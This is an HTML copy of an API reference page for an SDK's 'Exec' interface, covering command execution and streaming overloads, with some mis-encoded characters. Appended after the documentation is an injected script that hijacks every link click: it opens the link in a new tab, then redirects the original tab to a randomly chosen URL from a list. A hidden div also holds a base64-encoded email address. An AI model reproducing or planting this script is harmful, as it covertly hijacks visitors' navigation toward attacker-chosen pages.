<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Interface: Exec


## Callable

### Exec

&acirc;&#150;&cedil; **Exec**(`cmd`, `args`, `options?`): `Promise`&lt;[`ExecResult`](/reference/api/extensions-sdk/Exec/ExecResult/)\&gt;

Executes a command.

**`Since`**

0.2.0

#### Parameters

| Name | Type | Description |
| :------ | :------ | :------ |
| `cmd` | `string` | The command to execute. |
| `args` | `string`[] | The arguments of the command to execute. |
| `options?` | [`ExecOptions`](/reference/api/extensions-sdk/Exec/ExecOptions/) | The list of options. |

#### Returns

`Promise`&lt;[`ExecResult`](/reference/api/extensions-sdk/Exec/ExecResult/)\&gt;

A promise that will resolve once the command finishes.

### Exec

&acirc;&#150;&cedil; **Exec**(`cmd`, `args`, `options`): [`ExecProcess`](/reference/api/extensions-sdk/Exec/ExecProcess/)

Streams the result of a command if `stream` is specified in the `options` parameter.

Specify the `stream` if the output of your command is too long or if you need to stream things indefinitely (for example container logs).

**`Since`**

0.2.2

#### Parameters

| Name | Type | Description |
| :------ | :------ | :------ |
| `cmd` | `string` | The command to execute. |
| `args` | `string`[] | The arguments of the command to execute. |
| `options` | [`SpawnOptions`](/reference/api/extensions-sdk/Exec/SpawnOptions/) | The list of options. |

#### Returns

[`ExecProcess`](/reference/api/extensions-sdk/Exec/ExecProcess/)

The spawned process.

</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
